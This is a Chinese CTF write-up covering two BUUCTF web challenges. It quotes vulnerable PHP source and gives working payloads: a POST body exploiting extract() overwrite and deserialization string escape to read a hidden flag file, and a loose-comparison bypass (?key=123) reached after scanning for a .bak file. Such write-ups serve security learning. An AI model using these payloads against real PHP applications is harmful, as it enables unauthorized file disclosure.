BUUCTF(3)

176 阅读1分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路。

[安洵杯 2019]easy_serialize_php(php反序列化逃逸关键词数减少

点击·source_file出现源码

<?php
$function = @$_GET['f'];
function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);       //extract($_POST);通过POST提交重名的_SESSION对象,可以覆盖掉之前的_SEEION对象值
if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

根据提示我们看一看php信息

http://7aff246d-6231-4898-8dc0-bf5f90342fda.node4.buuoj.cn:81/index.php?f=phpinfo

发现

auto_append_filed0g3_f1ag.phpd0g3_f1ag.php

有个可能含有flag的php文件,尝试读取发现读不了

尝试利用

function我们可以通过function我们可以通过 f 直接赋值,么的影响。

 

现在我们就要base64_decode($userinfo[‘img’])=d0g3_f1ag.php。

 

那么就要$userinfo[‘img’]=ZDBnM19mMWFnLnBocA== //d0g3_f1ag.php。

 

userinfo又是通过userinfo又是通过serialize_info反序列化来的。

 

$serialize_info又是通过session序列化之后再过滤得来的

 

若指定就会被sha1加密

我们运用反序列化字符逃逸知识点,将img的值进行修改

由于全局覆盖变量存在,用post传参

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}&function=show_image


L2QwZzNfZmxsbGxsbGFn
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"dd";s:1:"a";}&function=show_image

[ACTF2020 新生赛]BackupFile

F12啥都没有,怀疑有啥目录文件,用dirsearch扫目录,发现index.php.bak存在我闷进去看一看

下载后是个代码

<?php
include_once "flag.php";


if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

传个key让其等于$str

因为==为弱比较,比较时会把字母过滤

我们直接传123

payload

?key=123
flag{99293b69-369a-4ab6-94a0-2b856d30de6a}